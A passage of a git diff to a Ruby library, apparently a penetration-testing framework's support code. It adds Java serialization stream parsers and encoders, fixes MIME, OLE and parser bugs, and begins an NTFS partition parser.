encode + unless name.kind_of?(Rex::Java::Serialization::Model::Utf) + raise ::RuntimeError, 'Failed to serialize Field' + end + + unless is_type_valid? + raise ::RuntimeError, 'Failed to serialize Field' + end + + encoded = '' + encoded << TYPE_CODES.key(type) + encoded << name.encode + + if is_object? + encoded << encode_field_type + end + + encoded + end + + # Whether the field type is valid. + # + # @return [Boolean] + def is_type_valid? + if TYPE_CODES.values.include?(type) + return true + end + + false + end + + # Whether the field type is a primitive one. + # + # @return [Boolean] + def is_primitive? + if PRIMITIVE_TYPE_CODES.values.include?(type) + return true + end + + false + end + + # Whether the field type is an object one. + # + # @return [Boolean] + def is_object? + if OBJECT_TYPE_CODES.values.include?(type) + return true + end + + false + end + + # Creates a print-friendly string representation + # + # @return [String] + def to_s + str = "#{name} " + if is_primitive? + str << "(#{type})" + else + str << "(#{field_type})" + end + + str + end + + private + + # Whether the type opcode is a valid one. + # + # @param code [String] A type opcode + # @return [Boolean] + def is_valid?(code) + if TYPE_CODES.keys.include?(code) + return true + end + + false + end + + # Serializes the `field_type` attribute. + # + # @return [String] + def encode_field_type + allowed_contents = [Utf, Reference] + + unless allowed_contents.include?(field_type.class) + raise ::RuntimeError, 'Failed to serialize Field' + end + + encoded = encode_content(field_type) + + encoded + end + + # Deserializes the `field_type` value. + # + # @param io [IO] the io to read from + # @return [Java::Serialization::Model::Utf] + # @raise [RuntimeError] if unserialization doesn't succeed + def decode_field_type(io) + allowed_contents = [Utf, Reference] + type = decode_content(io, stream) + + unless allowed_contents.include?(type.class) + raise ::RuntimeError, 'Failed to unserialize Field field_type' + end + + type + end + end + end + end + end +end diff --git a/lib/rex/java/serialization/model/long_utf.rb b/lib/rex/java/serialization/model/long_utf.rb new file mode 100644 index 0000000000..8ba2413200 --- /dev/null +++ b/lib/rex/java/serialization/model/long_utf.rb @@ -0,0 +1,48 @@ +# -*- coding: binary -*- + +module Rex + module Java + module Serialization + module Model + # This class provides a Long Utf string representation + class LongUtf < Utf + + # Deserializes a Rex::Java::Serialization::Model::LongUtf + # + # @param io [IO] the io to read from + # @return [self] if deserialization succeeds + # @return [nil] if deserialization doesn't succeed + def decode(io) + raw_length = io.read(8) + if raw_length.nil? || raw_length.length != 8 + raise ::RuntimeError, 'Failed to unserialize LongUtf' + end + self.length = raw_length.unpack('Q>')[0] + + if length == 0 + self.contents = '' + else + self.contents = io.read(length) + if contents.nil? || contents.length != length + raise ::RuntimeError, 'Failed to unserialize LongUtf' + end + end + + self + end + + # Serializes the Rex::Java::Serialization::Model::LongUtf + # + # @return [String] + def encode + encoded = [length].pack('Q>') + encoded << contents + + encoded + end + + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/java/serialization/model/new_array.rb b/lib/rex/java/serialization/model/new_array.rb new file mode 100644 index 0000000000..d6e245c73c --- /dev/null +++ b/lib/rex/java/serialization/model/new_array.rb @@ -0,0 +1,225 @@ +# -*- coding: binary -*- + +module Rex + module Java + module Serialization + module Model + # This class provides a NewArray (Java Array) representation + class NewArray < Element + + include Rex::Java::Serialization::Model::Contents + + # @!attribute array_description + # @return [Java::Serialization::Model::ClassDesc] The description of the array + attr_accessor :array_description + # @!attribute type + # @return [String] The type of the array values + attr_accessor :type + # @!attribute values + # @return [Array] The contents of the java array + attr_accessor :values + + # @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to + def initialize(stream = nil) + super(stream) + self.array_description = nil + self.type = '' + self.values = [] + end + + # Deserializes a Rex::Java::Serialization::Model::NewArray + # + # @param io [IO] the io to read from + # @return [self] if deserialization succeeds + # @raise [RuntimeError] if deserialization doesn't succeed + def decode(io) + self.array_description = ClassDesc.decode(io, stream) + stream.add_reference(self) unless stream.nil? + self.type = array_type + + values_length = decode_values_length(io) + + values_length.times do + value = decode_value(io) + self.values << value + end + + self + end + + # Serializes the Rex::Java::Serialization::Model::NewArray + # + # @return [String] if serialization succeeds + # @raise [RuntimeError] if serialization doesn't succeed + def encode + unless array_description.kind_of?(ClassDesc) + raise ::RuntimeError, 'Failed to serialize NewArray' + end + + encoded = '' + encoded << array_description.encode + + encoded << [values.length].pack('N') + + values.each do |value| + encoded << encode_value(value) + end + + encoded + end + + # Creates a print-friendly string representation + # + # @return [String] + def to_s + str = "#{type}, " + values_data = values.collect {|v| "#{v}"} + str << "#{values_data}" + end + + private + + # Deserializes the NewArray length + # + # @param io [IO] the io to read from + # @return [Integer] if deserialization succeeds + # @raise [RuntimeError] if deserialization doesn't succeed + def decode_values_length(io) + values_length = io.read(4) + if values_length.nil? || values_length.length != 4 + raise ::RuntimeError, 'Failed to unserialize NewArray' + end + + values_length.unpack('N')[0] + end + + # Extracts the NewArray data type + # + # @return [String] + # @raise [RuntimeError] if the NewArray description isn't valid + # @raise [RuntimeError] if the NewArray type isn't supported + def array_type + if array_description.nil? + raise ::RuntimeError, 'Empty NewArray description' + end + + unless array_description.kind_of?(ClassDesc) + raise ::RuntimeError, 'Unsupported NewArray description class' + end + + desc = array_description.description + + unless desc.class_name.contents[0] == '[' # Array + raise ::RuntimeError, 'Unsupported NewArray description' + end + + decoded_type = desc.class_name.contents[1] + if PRIMITIVE_TYPE_CODES.keys.include?(decoded_type) + return PRIMITIVE_TYPE_CODES[decoded_type] + elsif decoded_type == 'L' # L : Object + return desc.class_name.contents[2..desc.class_name.contents.index(';')] # Object class + else + raise ::RuntimeError, 'Unsupported NewArray Type' + end + end + + # Deserializes a NewArray value + # + # @param io [IO] the io to read from + # @return [Fixnum, Float] if deserialization succeeds + # @raise [RuntimeError] if deserialization fails + def decode_value(io) + value = nil + + case type + when 'byte' + value = io.read(1) + raise ::RuntimeError, 'Failed to deserialize NewArray value' if value.nil? + value = value.unpack('c')[0] + when 'char' + value = io.read(2) + unless value && value.length == 2 + raise ::RuntimeError, 'Failed to deserialize NewArray value' + end + value = value.unpack('s>')[0] + when 'double' + value = io.read(8) + unless value && value.length == 8 + raise ::RuntimeError, 'Failed to deserialize NewArray value' + end + value = value.unpack('G')[0] + when 'float' + value = io.read(4) + unless value && value.length == 4 + raise ::RuntimeError, 'Failed to deserialize NewArray value' + end + value = value.unpack('g')[0] + when 'int' + value = io.read(4) + unless value && value.length == 4 + raise ::RuntimeError, 'Failed to deserialize NewArray value' + end + value = value.unpack('l>')[0] + when 'long' + value = io.read(8) + unless value && value.length == 8 + raise ::RuntimeError, 'Failed to deserialize NewArray value' + end + value = value.unpack('q>')[0] + when 'short' + value = io.read(2) + unless value && value.length == 2 + raise ::RuntimeError, 'Failed to deserialize NewArray value' + end + value = value.unpack('s>')[0] + when 'boolean' + value = io.read(1) + raise ::RuntimeError, 'Failed to deserialize NewArray value' if value.nil? + value = value.unpack('c')[0] + else # object + value = decode_content(io, stream) + end + + value + end + + # Serializes an NewArray value + # + # @param value [Fixnum] the value to serialize + # @param value [Float] the value to serialize + # @return [String] the serialized value + # @raise [RuntimeError] if serialization fails + def encode_value(value) + res = '' + + case type + when 'byte' + res = [value].pack('c') + when 'char' + res = [value].pack('s>') + when 'double' + res = [value].pack('G') + when 'float' + res = [value].pack('g') + when 'int' + res = [value].pack('l>') + when 'long' + res = [value].pack('q>') + when 'short' + res = [value].pack('s>') + when 'boolean' + res = [value].pack('c') + when Element + res = value.encode + else # object + res = encode_content(value) + end + + res + end + + end + end + end + end +end diff --git a/lib/rex/java/serialization/model/new_class_desc.rb b/lib/rex/java/serialization/model/new_class_desc.rb new file mode 100644 index 0000000000..1212c2faec --- /dev/null +++ b/lib/rex/java/serialization/model/new_class_desc.rb @@ -0,0 +1,155 @@ +# -*- coding: binary -*- + +module Rex + module Java + module Serialization + module Model + # This class provides a newClassDesc representation + class NewClassDesc < Element + + include Rex::Java::Serialization + + # @!attribute class_name + # @return [Rex::Java::Serialization::Model::Utf] The name of the class + attr_accessor :class_name + # @!attribute name + # @return [Integer] The java class serial version + attr_accessor :serial_version + # @!attribute flags + # @return [Integer] The java class flags + attr_accessor :flags + # @!attribute fields + # @return [Array] The java class fields + attr_accessor :fields + # @!attribute fields + # @return [Rex::Java::Serialization::Model::Annotation] The java class annotations + attr_accessor :class_annotation + # @!attribute super_class + # @return [Rex::Java::Serialization::Model::ClassDesc] The java class superclass description + attr_accessor :super_class + + # @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to + def initialize(stream = nil) + super(stream) + self.class_name = nil + self.serial_version = 0 + self.flags = 0 + self.fields = [] + self.class_annotation = nil + self.super_class = nil + end + + # Deserializes a Rex::Java::Serialization::Model::ClassDescription + # + # @param io [IO] the io to read from + # @return [self] if deserialization succeeds + # @raise [RuntimeError] if deserialization doesn't succeed + def decode(io) + self.class_name = Utf.decode(io, stream) + self.serial_version = decode_serial_version(io) + stream.add_reference(self) unless stream.nil? + self.flags = decode_flags(io) + fields_length = decode_fields_length(io) + fields_length.times do + field = Field.decode(io, stream) + self.fields << field + end + + self.class_annotation = Annotation.decode(io, stream) + self.super_class = ClassDesc.decode(io, stream) + + self + end + + # Serializes the Rex::Java::Serialization::Model::ClassDescription + # + # @return [String] if serialization succeeds + # @raise [RuntimeError] if serialization doesn't succeed + def encode + unless class_name.kind_of?(Rex::Java::Serialization::Model::Utf) && + class_annotation.kind_of?(Rex::Java::Serialization::Model::Annotation) && + super_class.kind_of?(Rex::Java::Serialization::Model::ClassDesc) + raise ::RuntimeError, 'Filed to serialize NewClassDesc' + end + encoded = '' + encoded << class_name.encode + encoded << [serial_version].pack('Q>') + stream.add_reference(self) unless stream.nil? + encoded << [flags].pack('C') + encoded << [fields.length].pack('n') + fields.each do |field| + encoded << field.encode + end + encoded << class_annotation.encode + encoded << super_class.encode + + encoded + end + + # Creates a print-friendly string representation + # + # @return [String] + def to_s + str = "#{class_name}, [ " + fields_str = [] + fields.each do |field| + fields_str << field.to_s + end + str << "#{fields_str.join(', ')} ]" + + case super_class.description + when NewClassDesc + str << ", @super_class: #{super_class.description.class_name.to_s}" + when Reference + str << ", @super_class: #{super_class.description.to_s}" + end + + str + end + + private + + # Deserializes a class serial version + # + # @param io [IO] the io to read from + # @return [Integer] if deserialization succeeds + # @raise [RuntimeError] if deserialization doesn't succeed + def decode_serial_version(io) + raw_serial = io.read(8) + if raw_serial.nil? || raw_serial.length != 8 + raise ::RuntimeError, 'Failed to unserialize ClassDescription' + end + + raw_serial.unpack('Q>')[0] + end + + # Deserializes a class flags + # + # @param io [IO] the io to read from + # @return [Integer] if deserialization is possible + # @raise [RuntimeError] if deserialization doesn't succeed + def decode_flags(io) + raw_flags = io.read(1) + raise ::RuntimeError, 'Failed to unserialize ClassDescription' if raw_flags.nil? + + raw_flags.unpack('C')[0] + end + + # Deserializes a class fields length + # + # @param io [IO] the io to read from + # @return [Integer] if deserialization is possible + # @raise [RuntimeError] if deserialization doesn't succeed + def decode_fields_length(io) + fields_length = io.read(2) + if fields_length.nil? || fields_length.length != 2 + raise ::RuntimeError, 'Failed to unserialize ClassDescription' + end + + fields_length.unpack('n')[0] + end + end + end + end + end +end diff --git a/lib/rex/java/serialization/model/new_enum.rb b/lib/rex/java/serialization/model/new_enum.rb new file mode 100644 index 0000000000..c4ec80fd3a --- /dev/null +++ b/lib/rex/java/serialization/model/new_enum.rb @@ -0,0 +1,79 @@ +# -*- coding: binary -*- + +module Rex + module Java + module Serialization + module Model + # This class provides a NewEnum (Java Enum) representation + class NewEnum < Element + + include Rex::Java::Serialization::Model::Contents + + # @!attribute enum_description + # @return [Rex::Java::Serialization::Model::ClassDescription] The description of the enum + attr_accessor :enum_description + # @!attribute constant_name + # @return [Rex::Java::Serialization::Model::Utf] The constant value in the Java Enum + attr_accessor :constant_name + + # @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to + def initialize(stream = nil) + super(stream) + self.enum_description = nil + self.constant_name = nil + end + + # Deserializes a Rex::Java::Serialization::Model::NewEnum + # + # @param io [IO] the io to read from + # @return [self] if deserialization succeeds + # @raise [RuntimeError] if deserialization doesn't succeed + def decode(io) + self.enum_description = ClassDesc.decode(io, stream) + stream.add_reference(self) unless stream.nil? + self.constant_name = decode_constant_name(io) + + self + end + + # Serializes the Rex::Java::Serialization::Model::NewEnum + # + # @return [String] if serialization succeeds + # @raise [RuntimeError] if serialization doesn't succeed + def encode + unless enum_description.kind_of?(ClassDesc) && + constant_name.kind_of?(Utf) + raise ::RuntimeError, 'Failed to serialize EnumDescription' + end + + encoded = '' + encoded << enum_description.encode + encoded << encode_content(constant_name) + encoded + end + + # Creates a print-friendly string representation + # + # @return [String] + def to_s + constant_name.to_s + end + + private + + # Deserializes the NewEnum constant name + # + # @param io [IO] the io to read from + # @return [Rex::Java::Serialization::Model::Utf] if deserialization succeeds + # @raise [RuntimeError] if deserialization doesn't succed + def decode_constant_name(io) + content = decode_content(io, stream) + raise ::RuntimeError, 'Failed to unserialize NewEnum' unless content.kind_of?(Rex::Java::Serialization::Model::Utf) + + content + end + end + end + end + end +end diff --git a/lib/rex/java/serialization/model/new_object.rb b/lib/rex/java/serialization/model/new_object.rb new file mode 100644 index 0000000000..b327800089 --- /dev/null +++ b/lib/rex/java/serialization/model/new_object.rb @@ -0,0 +1,225 @@ +# -*- coding: binary -*- + +module Rex + module Java + module Serialization + module Model + # This class provides a NewObject (Java Object) representation + class NewObject < Element + + include Rex::Java::Serialization::Model::Contents + + # @!attribute class_desc + # @return [Rex::Java::Serialization::Model::ClassDesc] The description of the object + attr_accessor :class_desc + # @!attribute class_data + # @return [Array] The data of the object + attr_accessor :class_data + + # @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to + def initialize(stream = nil) + super(stream) + self.class_desc = nil + self.class_data = [] + end + + # Deserializes a Rex::Java::Serialization::Model::NewObject + # + # @param io [IO] the io to read from + # @return [self] if deserialization succeeds + # @raise [RuntimeError] if deserialization doesn't succeed + def decode(io) + self.class_desc = ClassDesc.decode(io, stream) + stream.add_reference(self) unless stream.nil? + + case class_desc.description + when NewClassDesc + self.class_data = decode_class_data(io, class_desc.description) + when Reference + ref = class_desc.description.handle - BASE_WIRE_HANDLE + self.class_data = decode_class_data(io, stream.references[ref]) + end + + self + end + + # Serializes the Rex::Java::Serialization::Model::NewObject + # + # @return [String] if serialization succeeds + # @raise [RuntimeError] if serialization doesn't succeed + def encode + unless class_desc.kind_of?(ClassDesc) + raise ::RuntimeError, 'Failed to serialize NewObject' + end + + encoded = '' + encoded << class_desc.encode + + class_data.each do |value| + if value.kind_of?(Array) + encoded << encode_value(value) + else + encoded << encode_content(value) + end + end + + encoded + end + + # Creates a print-friendly string representation + # + # @return [String] + def to_s + str = '' + case class_desc.description + when NewClassDesc + str << class_desc.description.class_name.to_s + when Reference + str << (class_desc.description.handle - BASE_WIRE_HANDLE).to_s(16) + end + + str << ' => { ' + data_str = class_data.collect { |data| data.to_s } + str << data_str.join(', ') + str << ' }' + end + + private + + # Deserializes the class_data for a class_desc and its super classes + # + # @param io [IO] the io to read from + # @param my_class_desc [Rex::Java::Serialization::Model::NewClassDesc] the class description whose data is being extracted + # @return [Array] class_data values if deserialization succeeds + # @raise [RuntimeError] if deserialization doesn't succeed + def decode_class_data(io, my_class_desc) + values = [] + + unless my_class_desc.super_class.description.kind_of?(NullReference) + values += decode_class_data(io, my_class_desc.super_class.description) + end + + values += decode_class_fields(io, my_class_desc) + + values + end + + # Deserializes the fields data for a class_desc + # + # @param io [IO] the io to read from + # @param my_class_desc [Rex::Java::Serialization::Model::NewClassDesc] the class description whose data is being extracted + # @return [Array] class_data values if deserialization succeeds + # @raise [RuntimeError] if deserialization doesn't succeed + def decode_class_fields(io, my_class_desc) + values = [] + + my_class_desc.fields.each do |field| + if field.is_primitive? + values << decode_value(io, field.type) + else + content = decode_content(io, stream) + values << content + end + end + + values + end + + # Deserializes a class_data value + # + # @param io [IO] the io to read from + # @param type [String] the type of the value to deserialize + # @return [Array(String, <Fixnum, Float>)] type and value if deserialization succeeds + # @raise [RuntimeError] if deserialization fails + def decode_value(io, type) + value = [] + + case type + when 'byte' + value_raw = io.read(1) + raise ::RuntimeError, 'Failed to deserialize NewArray value' if value_raw.nil? + value.push('byte', value_raw.unpack('c')[0]) + when 'char' + value_raw = io.read(2) + unless value_raw && value_raw.length == 2 + raise ::RuntimeError, 'Failed to deserialize NewArray value' + end + value.push('char', value_raw.unpack('s>')[0]) + when 'double' + value_raw = io.read(8) + unless value_raw && value_raw.length == 8 + raise ::RuntimeError, 'Failed to deserialize NewArray value' + end + value.push('double', value = value_raw.unpack('G')[0]) + when 'float' + value_raw = io.read(4) + unless value_raw && value_raw.length == 4 + raise ::RuntimeError, 'Failed to deserialize NewArray value' + end + value.push('float', value_raw.unpack('g')[0]) + when 'int' + value_raw = io.read(4) + unless value_raw && value_raw.length == 4 + raise ::RuntimeError, 'Failed to deserialize NewArray value' + end + value.push('int', value_raw.unpack('l>')[0]) + when 'long' + value_raw = io.read(8) + unless value_raw && value_raw.length == 8 + raise ::RuntimeError, 'Failed to deserialize NewArray value' + end + value.push('long', value_raw.unpack('q>')[0]) + when 'short' + value_raw = io.read(2) + unless value_raw && value_raw.length == 2 + raise ::RuntimeError, 'Failed to deserialize NewArray value' + end + value.push('short', value_raw.unpack('s>')[0]) + when 'boolean' + value_raw = io.read(1) + raise ::RuntimeError, 'Failed to deserialize NewArray value' if value_raw.nil? + value.push('boolean', value_raw.unpack('c')[0]) + else + raise ::RuntimeError, 'Unsupported NewArray type' + end + + value + end + + # Serializes an class_data value + # + # @param value [Array] the type and value to serialize + # @return [String] the serialized value + # @raise [RuntimeError] if serialization fails + def encode_value(value) + res = '' + + case value[0] + when 'byte' + res = [value[1]].pack('c') + when 'char' + res = [value[1]].pack('s>') + when 'double' + res = [value[1]].pack('G') + when 'float' + res = [value[1]].pack('g') + when 'int' + res = [value[1]].pack('l>') + when 'long' + res = [value[1]].pack('q>') + when 'short' + res = [value[1]].pack('s>') + when 'boolean' + res = [value[1]].pack('c') + else + raise ::RuntimeError, 'Unsupported NewArray type' + end + + res + end + + end + end + end + end +end diff --git a/lib/rex/java/serialization/model/null_reference.rb b/lib/rex/java/serialization/model/null_reference.rb new file mode 100644 index 0000000000..ac5b664697 --- /dev/null +++ b/lib/rex/java/serialization/model/null_reference.rb @@ -0,0 +1,12 @@ +# -*- coding: binary -*- + +module Rex + module Java + module Serialization + module Model + class NullReference < Element + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/java/serialization/model/reference.rb b/lib/rex/java/serialization/model/reference.rb new file mode 100644 index 0000000000..71c7765dae --- /dev/null +++ b/lib/rex/java/serialization/model/reference.rb @@ -0,0 +1,61 @@ +# -*- coding: binary -*- + +module Rex + module Java + module Serialization + module Model + # This class provides a Java Reference representation. + class Reference < Element + + # @!attribute contents + # @return [Fixnum] The stream handle being referenced + attr_accessor :handle + + # @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to + def initialize(stream = nil) + super(stream) + self.handle = 0 + end + + # Deserializes a Rex::Java::Serialization::Model::Reference + # + # @param io [IO] the io to read from + # @return [self] if deserialization succeeds + # @raise [RuntimeError] if deserialization doesn't succeed + def decode(io) + handle_raw = io.read(4) + unless handle_raw && handle_raw.length == 4 + raise ::RuntimeError, 'Failed to unserialize Reference' + end + + self.handle = handle_raw.unpack('N')[0] + + self + end + + # Serializes the Rex::Java::Serialization::Model::Reference + # + # @return [String] if serialization succeeds + # @raise [RuntimeError] if serialization doesn't succeed + def encode + if handle < BASE_WIRE_HANDLE + raise ::RuntimeError, 'Failed to serialize Reference' + end + + encoded = '' + encoded << [handle].pack('N') + + encoded + end + + # Creates a print-friendly string representation + # + # @return [String] + def to_s + "0x#{handle.to_s(16)}" + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/java/serialization/model/reset.rb b/lib/rex/java/serialization/model/reset.rb new file mode 100644 index 0000000000..1de36756bf --- /dev/null +++ b/lib/rex/java/serialization/model/reset.rb @@ -0,0 +1,12 @@ +# -*- coding: binary -*- + +module Rex + module Java + module Serialization + module Model + class Reset < Element + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/java/serialization/model/stream.rb b/lib/rex/java/serialization/model/stream.rb new file mode 100644 index 0000000000..36e32e548c --- /dev/null +++ b/lib/rex/java/serialization/model/stream.rb @@ -0,0 +1,123 @@ +# -*- coding: binary -*- + +module Rex + module Java + module Serialization + module Model + # This class provides a Java Stream representation + class Stream < Element + + include Rex::Java::Serialization::Model::Contents + + # @!attribute magic + # @return [Fixnum] The stream signature + attr_accessor :magic + # @!attribute version + # @return [Fixnum] The stream version + attr_accessor :version + # @!attribute contents + # @return [Array] The stream contents + attr_accessor :contents + # @!attribute references + # @return [Array] The stream objects to be referenced through handles + attr_accessor :references + + def initialize(stream = nil) + super(nil) + self.magic = STREAM_MAGIC + self.version = STREAM_VERSION + self.contents = [] + self.references = [] + end + + # Deserializes a Rex::Java::Serialization::Model::Stream + # + # @param io [IO] the io to read from + # @return [self] if deserialization succeeds + # @raise [RuntimeError] if deserialization doesn't succeed + def decode(io) + self.magic = decode_magic(io) + self.version = decode_version(io) + + until io.eof? + content = decode_content(io, self) + self.contents << content + end + + self + end + + # Serializes the Rex::Java::Serialization::Model::Stream + # + # @return [String] if serialization succeeds + # @raise [RuntimeError] if serialization doesn't succeed + def encode + encoded = '' + encoded << [magic].pack('n') + encoded << [version].pack('n') + contents.each do |content| + encoded << encode_content(content) + end + encoded + end + + # Adds an element to the references array + # + # @param io [Rex::Java::Serialization::Model::Element] the object to save as reference dst + def add_reference(ref) + self.references.push(ref) + end + + # Creates a print-friendly string representation + # + # @return [String] + def to_s + str = "@magic: 0x#{magic.to_s(16)}\n" + str << "@version: #{version}\n" + str << "@contents: [\n" + contents.each do |content| + str << " #{print_content(content)}\n" + end + str << "]\n" + str << "@references: [\n" + references.each do |ref| + str << " [#{(references.index(ref) + BASE_WIRE_HANDLE).to_s(16)}] #{print_content(ref)}\n" + end + str << "]\n" + end + + private + + # Deserializes the magic stream value + # + # @param io [IO] the io to read from + # @return [String] if deserialization succeeds + # @raise [RuntimeError] if deserialization doesn't succeed + def decode_magic(io) + magic = io.read(2) + + unless magic && magic.length == 2 && magic.unpack('n')[0] == STREAM_MAGIC + raise ::RuntimeError, 'Failed to unserialize Stream' + end + + STREAM_MAGIC + end + + # Deserializes the version stream + # + # @param io [IO] the io to read from + # @return [Fixnum] if deserialization succeeds + # @raise [RuntimeError] if deserialization doesn't succeed + def decode_version(io) + version = io.read(2) + unless version && version.unpack('n')[0] == STREAM_VERSION + raise ::RuntimeError, 'Failed to unserialize Stream' + end + + STREAM_VERSION + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/java/serialization/model/utf.rb b/lib/rex/java/serialization/model/utf.rb new file mode 100644 index 0000000000..7ec45f8684 --- /dev/null +++ b/lib/rex/java/serialization/model/utf.rb @@ -0,0 +1,69 @@ +# -*- coding: binary -*- + +module Rex + module Java + module Serialization + module Model + # This class provides a Utf string representation + class Utf < Element + + # @!attribute length + # @return [Integer] the length of the string + attr_accessor :length + # @!attribute contents + # @return [String] the contents of the string + attr_accessor :contents + + # @param stream [Rex::Java::Serialization::Model::Stream] the stream where it belongs to + # @param contents [String] the contents of the utf string + def initialize(stream = nil, contents = '') + super(stream) + self.contents = contents + self.length = contents.length + end + + # Deserializes a Rex::Java::Serialization::Model::Utf + # + # @param io [IO] the io to read from + # @return [self] if deserialization succeeds + # @raise [RuntimeError] if deserialization doesn't succeed + def decode(io) + raw_length = io.read(2) + if raw_length.nil? || raw_length.length != 2 + raise ::RuntimeError, 'Failed to unserialize Utf' + end + self.length = raw_length.unpack('n')[0] + + if length == 0 + self.contents = '' + else + self.contents = io.read(length) + if contents.nil? || contents.length != length + raise ::RuntimeError, 'Failed to unserialize Utf' + end + end + + self + end + + # Serializes the Rex::Java::Serialization::Model::Utf + # + # @return [String] + def encode + encoded = [length].pack('n') + encoded << contents + + encoded + end + + # Creates a print-friendly string representation + # + # @return [String] + def to_s + contents + end + end + end + end + end +end \ No newline at end of file diff --git a/lib/rex/mac_oui.rb b/lib/rex/mac_oui.rb index 3f5046557f..4d47e29ba3 100644 --- a/lib/rex/mac_oui.rb +++ b/lib/rex/mac_oui.rb @@ -1,3 +1,4 @@ +# -*- coding: binary -*- module Rex module Oui diff --git a/lib/rex/mime/header.rb b/lib/rex/mime/header.rb index b03b9a7664..a1830f838b 100644 --- a/lib/rex/mime/header.rb +++ b/lib/rex/mime/header.rb @@ -25,8 +25,9 @@ class Header next end - var,val = line.split(':') - next if not val + var, val = line.split(':', 2) + next if val.nil? + self.headers << [ var.to_s.strip, val.to_s.strip ] prev = self.headers.length - 1 end diff --git a/lib/rex/mime/message.rb b/lib/rex/mime/message.rb index c8f3467377..150a7c081b 100644 --- a/lib/rex/mime/message.rb +++ b/lib/rex/mime/message.rb @@ -24,12 +24,11 @@ class Message self.header.parse(head) ctype = self.header.find('Content-Type') - if ctype and ctype[1] and ctype[1] =~ /multipart\/mixed;\s*boundary=([^\s]+)/ + if ctype && ctype[1] && ctype[1] =~ /multipart\/mixed;\s*boundary="?([A-Za-z0-9'\(\)\+\_,\-\.\/:=\?^\s]+)"?/ self.bound = $1 - chunks = body.to_s.split(/--#{self.bound}(--)?\r?\n/) self.content = chunks.shift.to_s.gsub(/\s+$/, '') - self.content << "\r\n" if not self.content.empty? + self.content << "\r\n" unless self.content.empty? chunks.each do |chunk| break if chunk == "--" @@ -89,15 +88,13 @@ class Message def add_part(data='', content_type='text/plain', transfer_encoding="8bit", content_disposition=nil) part = Rex::MIME::Part.new - if (content_disposition) + if content_disposition part.header.set("Content-Disposition", content_disposition) end - if (content_type) - part.header.set("Content-Type", content_type) - end + part.header.set("Content-Type", content_type) if content_type - if (transfer_encoding) + if transfer_encoding part.header.set("Content-Transfer-Encoding", transfer_encoding) end @@ -126,20 +123,17 @@ class Message end def to_s - msg = force_crlf(self.header.to_s + "\r\n") + header_string = self.header.to_s - unless self.content.blank? - msg << force_crlf(self.content + "\r\n") - end + msg = header_string.empty? ? '' : force_crlf(self.header.to_s + "\r\n") + msg << force_crlf(self.content + "\r\n") unless self.content.blank? self.parts.each do |part| msg << force_crlf("--" + self.bound + "\r\n") msg << part.to_s end - if self.parts.length > 0 - msg << force_crlf("--" + self.bound + "--\r\n") - end + msg << force_crlf("--" + self.bound + "--\r\n") if self.parts.length > 0 msg end diff --git a/lib/rex/mime/part.rb b/lib/rex/mime/part.rb index 40ddcdded7..ef80bb5ec5 100644 --- a/lib/rex/mime/part.rb +++ b/lib/rex/mime/part.rb @@ -36,8 +36,8 @@ class Part # Returns the Content-Transfer-Encoding of the part. # - # @returns [nil] if the part hasn't Content-Transfer-Encoding. - # @returns [String] The Content-Transfer-Encoding or the part. + # @return [nil] if the part hasn't Content-Transfer-Encoding. + # @return [String] The Content-Transfer-Encoding or the part. def transfer_encoding h = header.find('Content-Transfer-Encoding') return nil if h.nil? diff --git a/lib/rex/ole/direntry.rb b/lib/rex/ole/direntry.rb index a4a8ada12f..1e2984562f 100644 --- a/lib/rex/ole/direntry.rb +++ b/lib/rex/ole/direntry.rb @@ -96,7 +96,7 @@ class DirEntry return de end @children.each { |cde| - ret = find_by_sid(cde, sid) + ret = find_by_sid(sid, cde) if (ret) return ret end diff --git a/lib/rex/ole/util.rb b/lib/rex/ole/util.rb index 867bc16b46..e2dfbca281 100644 --- a/lib/rex/ole/util.rb +++ b/lib/rex/ole/util.rb @@ -124,7 +124,7 @@ class Util def self.getUnicodeString(buf) - buf = buf.unpack('S*').pack('C*') + buf = buf.unpack('v*').pack('C*') if (idx = buf.index(0x00.chr)) buf.slice!(idx, buf.length) end @@ -132,7 +132,7 @@ class Util end def self.putUnicodeString(buf) - buf = buf.unpack('C*').pack('S*') + buf = buf.unpack('C*').pack('v*') if (buf.length < 0x40) buf << "\x00" * (0x40 - buf.length) end diff --git a/lib/rex/parser/foundstone_nokogiri.rb b/lib/rex/parser/foundstone_nokogiri.rb index 1e1d746766..df9a1d5e8c 100644 --- a/lib/rex/parser/foundstone_nokogiri.rb +++ b/lib/rex/parser/foundstone_nokogiri.rb @@ -293,7 +293,7 @@ module Rex # XXX: Actually implement more of these def process_service(service,banner) meth = "process_service_#{service.gsub("-","_")}" - if self.respond_to? meth + if self.respond_to?(meth, true) self.send meth, banner else return (first_line banner) diff --git a/lib/rex/parser/fs/ntfs.rb b/lib/rex/parser/fs/ntfs.rb new file mode 100644 index 0000000000..c7aade718b --- /dev/null +++ b/lib/rex/parser/fs/ntfs.rb @@ -0,0 +1,252 @@ +# -*- coding: binary -*- +module Rex + module Parser + ### + # + # This class parses the contents of an NTFS partition file. + # Author : Danil Bazin <danil.bazin[at]hsc.fr> @danilbaz + # + ### + class NTFS + # + # Initialize the NTFS class with an already open file handler + # + DATA_ATTRIBUTE_ID = 128 + INDEX_ROOT_ID = 144 + INDEX_ALLOCATION_ID = 160 + def initialize(file_handler) + @file_handler = file_handler + data = @file_handler.read(4096) + # Boot sector reading + @bytes_per_sector = data[11, 2].unpack('v')[0] + @sector_per_cluster = data[13].unpack('C')[0] + @cluster_per_mft_record = data[64].unpack('c')[0] + if @cluster_per_mft_record < 0 + @bytes_per_mft_record = 2**(-@cluster_per_mft_record) + @cluster_per_mft_record = @bytes_per_mft_record.to_f / @bytes_per_sector / @sector_per_cluster + else + @bytes_per_mft_record = @bytes_per_sector * @sector_per_cluster * @cluster_per_mft_record + end + @bytes_per_cluster = @sector_per_cluster * @bytes_per_sector + @mft_logical_cluster_number = data[48, 8].unpack('Q<')[0] + @mft_offset = @mft_logical_cluster_number * @sector_per_cluster * @bytes_per_sector + @file_handler.seek(@mft_offset) + @mft = @file_handler.read(@bytes_per_mft_record) + end + + # + # Gather the MFT entry corresponding to his number + # + def 